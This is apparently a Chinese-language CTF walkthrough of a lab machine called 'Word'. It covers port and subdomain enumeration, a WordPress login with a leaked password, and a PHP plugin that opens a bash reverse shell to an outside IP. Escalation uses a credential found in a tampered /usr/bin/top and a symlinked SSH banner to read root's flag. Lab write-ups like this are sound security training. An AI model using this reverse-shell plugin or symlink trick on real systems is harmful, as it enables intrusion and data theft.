

信息收集

```
└─$ sudo nmap -p- -sT --min-rate=1000 192.168.49.146 -oA nmapscan/ports
22/tcp open  ssh
80/tcp open  http
```

Web 端

<http://192.168.49.146/>

<!-- word.dsz -->

```
└─$ wfuzz -c -u "http://word.dsz" -H "HOST:FUZZ.word.dsz" -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 3
000009532: 400      10 L    35 W    301 Ch    "#www - #www"
000010581: 400      10 L    35 W    301 Ch    "#mail - #mail"
000047706: 400      10 L    35 W    301 Ch    "#smtp - #smtp"
000103135: 400      10 L    35 W    301 Ch    "#pop3 - #pop3"
```

dashazi

```
└─$ gobuster dir -u http://192.168.49.146 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
--exclude-length 0 --status-codes-blacklist 404
/index.html (Status: 200) [Size: 18]
/banner.php (Status: 200) [Size: 3420]
/wordpress (Status: 301) [Size: 320] [--> http://192.168.49.146/wordpress/]
/server-status (Status: 403) [Size: 279]
```

```
└─$ gobuster dir -u http://word.dsz -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
--exclude-length 0 --status-codes-blacklist 404
/index.html (Status: 200) [Size: 18]
/banner.php (Status: 200) [Size: 3420]
/wordpress (Status: 301) [Size: 308] [--> http://word.dsz/wordpress/]
/server-status (Status: 403) [Size: 273]
```

wpscan 扫描

<http://word.dsz/wordpress/wp-content/uploads/>

<http://word.dsz/wordpress/wp-content/uploads/2025/11/pass.txt>

S9ZF6mtLdHfmr8PmCq3i

<http://word.dsz/wordpress/readme.html>

<http://word.dsz/wordpress/comments/feed/>

[i] User(s) Identified:

[+] root

登录

<http://word.dsz.wordpress/wp-login.php>

账号 root 密码 S9ZF6mtLdHfmr8PmCq3i

登录成功后：上传插件反弹 shell

```
└─$ zip shell.zip shell.php
<?php
/**
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI:
 * Description: Reverse Shell Plugin for penetration testing.
 * Version:1.0
 * Author: Security Analyst
 * Author URI: http://www.example.com
 */
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1'");
?>
```

```
www-data@Word:/var/backups$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
www-data@Word:/home/ssh-banner$ cat user.txt
flag{user-3a9dc01d01eb76d0fdd0fafa9f5fda79}
```

提权到 ssh-banner

```
www-data@Word:/opt$ cat pass.txt
cat pass.txt
S9ZF6mtLdHfmr8PmCq3i
// user password
// check all system file
我看到这东西不知道干啥。其实是让你看哪些文件被修改了
```

```
www-data@Word:/opt$ dpkg -V 2>/dev/null
```

```

www-data@Word:/opt$ dpkg -V 2>/dev/null
dpkg -V 2>/dev/null
??5????? c /etc/irssi.conf
??5????? c /etc/apache2/apache2.conf
??5????? /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla
??5????? /usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
??5????? c /etc/grub.d/10_linux
??5????? c /etc/grub.d/40_custom
??5????? c /etc/sudoers
??5????? c /etc/sudoers.d/README
??5????? c /etc/inspired/inspired.conf
??5????? c /etc/inspired/inspired.motd
??5????? c /etc/inspired/inspired.rules
??5????? /usr/bin/top
??5????? /var/lib/polkit-1/localauthority/10-vendor.d/org.freedesktop.packagekit.pkla
??5????? c /etc/issue

```

获得凭证'jUOhu37yYIIYiVxQNw8G'

```
www-data@Word:/opt$ cat /usr/bin/top
```

```
cat /usr/bin/top
```

```
#!/bin/bash
```

```
echo 'jUOhu37yYIIYiVxQNw8G'
```

```
systemctl restart ssh
```

banner.txt 在 ssh-banner 家目录下，删除，创建软连接任意读文件

```

ssh-banner@Word:~$ cat /etc/ssh/sshd_config|grep banner
# no default banner path
Banner /home/ssh-banner/banner.txt
ssh-banner@Word:~$ ls -la
total 32
drwxr-xr-x 2 ssh-banner ssh-banner 4096 Nov 29 08:19 .
drwxr-xr-x 3 root      root      4096 Nov 14 21:59 ..
-rwxrwxrwx 1 root      root      216 Nov 29 05:43 banner.txt
lrwxrwxrwx 1 root      root       9 Nov 15 05:51 .bash_history -> /dev/null
-rw-r--r-- 1 ssh-banner ssh-banner 220 Nov 14 21:59 .bash_logout
-rw-r--r-- 1 ssh-banner ssh-banner 3526 Nov 14 21:59 .bashrc
-rw-r--r-- 1 ssh-banner ssh-banner 807 Nov 14 21:59 .profile
-rw-r--r-- 1 root      root       44 Nov 14 22:10 user.txt
-rw-r--r-- 1 ssh-banner ssh-banner 937 Nov 29 08:19 .viminfo
ssh-banner@Word:~$

```

```
ssh-banner@Word:~$ ln -sf /root/root.txt banner.txt
```

```
└─$ ssh ssh-banner@192.168.49.146
```

```
flag{root-a46ec67a0f2e7c387926ac5d783ea4b8}
```